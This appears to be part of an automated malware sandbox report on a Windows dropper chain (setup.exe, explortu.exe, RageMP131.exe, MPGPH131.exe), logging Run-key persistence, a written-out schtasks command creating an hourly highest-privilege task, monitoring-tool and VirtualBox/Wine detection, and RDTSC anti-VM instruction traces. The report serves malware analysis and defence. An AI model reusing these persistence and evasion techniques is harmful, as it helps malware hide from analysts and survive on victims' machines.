Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run eaa97795e9.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: Regmonclass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: Filemonclass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: Regmonclass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: Filemonclass
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Windows\Tasks\explortu.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run eaa97795e9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run eaa97795e9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Stalling execution: Execution stalls by calling Sleep

graph_27-61174

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\setup.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 1DD374 second address: 1DCBEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jg 00007FDDE8CE13EEh 0x00000010 jmp 00007FDDE8CE13E8h 0x00000015 push dword ptr [ebp+122D15E5h] 0x0000001b xor dword ptr [ebp+122D1864h], edx 0x00000021 call dword ptr [ebp+122D2AEBh] 0x00000027 pushad 0x00000028 jmp 00007FDDE8CE13E5h 0x0000002d xor eax, eax 0x0000002f cld 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 pushad 0x00000035 pushad 0x00000036 push ecx 0x00000037 pop esi 0x00000038 push ecx 0x00000039 pop eax 0x0000003a popad 0x0000003b jmp 00007FDDE8CE13E6h 0x00000040 popad 0x00000041 mov dword ptr [ebp+122D3A7Eh], eax 0x00000047 jmp 00007FDDE8CE13E9h 0x0000004c mov esi, 0000003Ch 0x00000051 pushad 0x00000052 jmp 00007FDDE8CE13E2h 0x00000057 mov dword ptr [ebp+122D275Bh], edi 0x0000005d popad 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 mov dword ptr [ebp+122D1996h], eax 0x00000068 lodsw 0x0000006a mov dword ptr [ebp+122D275Bh], edx 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 jmp 00007FDDE8CE13E5h 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d xor dword ptr [ebp+122D275Bh], ecx 0x00000083 push eax 0x00000084 push ebx 0x00000085 push edx 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 341349 second address: 341353 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDE9067F66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 341353 second address: 341385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FDDE8CE13E8h 0x0000000a jmp 00007FDDE8CE13E1h 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 354A74 second address: 354A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 354A78 second address: 354A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 354A7E second address: 354A8E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDDE9067F6Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 354E49 second address: 354E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FDDE8CE13DEh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 354FC9 second address: 354FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jo 00007FDDE9067F77h 0x00000011 jmp 00007FDDE9067F71h 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E0E second address: 357E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007FDDE8CE13D8h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 00000014h 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 mov dword ptr [ebp+122D2636h], edi 0x00000026 push 00000000h 0x00000028 or esi, dword ptr [ebp+122D2679h] 0x0000002e push 67395580h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E49 second address: 357E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E4D second address: 357E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E51 second address: 357E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E57 second address: 357E61 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDE8CE13DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E61 second address: 357E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 67395500h 0x0000000d push 00000003h 0x0000000f mov di, 7617h 0x00000013 push 00000000h 0x00000015 sub dl, FFFFFF8Ch 0x00000018 push 00000003h 0x0000001a push BA1712A0h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E85 second address: 357E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E89 second address: 357E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357E92 second address: 357EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 add dword ptr [esp], 05E8ED60h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FDDE8CE13D8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 lea ebx, dword ptr [ebp+1244ECB2h] 0x0000002f mov edx, dword ptr [ebp+122D1991h] 0x00000035 xchg eax, ebx 0x00000036 pushad 0x00000037 jmp 00007FDDE8CE13E5h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 357F94 second address: 35801A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 509543A1h 0x0000000e cld 0x0000000f push 00000003h 0x00000011 and edx, dword ptr [ebp+122D3916h] 0x00000017 push 00000000h 0x00000019 jmp 00007FDDE9067F76h 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FDDE9067F68h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a mov edi, dword ptr [ebp+122D3A12h] 0x00000040 push ebx 0x00000041 movsx edi, dx 0x00000044 pop edi 0x00000045 call 00007FDDE9067F69h 0x0000004a pushad 0x0000004b jg 00007FDDE9067F7Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 push esi 0x00000054 pop esi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 35801A second address: 358036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDDE8CE13E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 358036 second address: 35805C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDDE9067F75h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 35805C second address: 358061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 358061 second address: 358067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 358067 second address: 358083 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDE8CE13D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FDDE8CE13DCh 0x00000016 rdtsc
